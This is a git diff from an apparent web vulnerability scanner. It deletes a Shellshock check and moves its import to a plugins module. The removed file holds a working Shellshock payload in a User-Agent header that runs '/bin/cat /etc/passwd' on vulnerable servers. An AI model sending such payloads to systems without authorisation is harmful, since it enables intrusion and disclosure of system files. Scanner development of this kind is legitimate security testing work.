diff --git a/exploits/shellshock.py b/exploits/shellshock.py deleted file mode 100644 index a68c1bd..0000000 --- a/exploits/shellshock.py +++ /dev/null @@ -1,13 +0,0 @@ -from colorama import Fore -import requests - -user_agent = "() { :; }; /bin/cat /etc/passwd" -header = {"User-Agent": user_agent} - - -def shellshock_scan(domain: str) -> str: - res = requests.get(domain, verify=False, headers=header) - if res.status_code == 500: - print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Shellshock: {Fore.GREEN}Might be vulnerable!") - else: - pass \ No newline at end of file diff --git a/gsec.py b/gsec.py index d9771e8..188b472 100644 --- a/gsec.py +++ b/gsec.py @@ -3,7 +3,7 @@ from utils import portscanner, loginscanner, techscanner, cmsscanner, passive_recon from plugins import phpcheck, optionscheck from vuln_db import hostheader_injection, nuclei_vulns -from exploits import shellshock +from plugins import shellshock import argparse import subprocess import os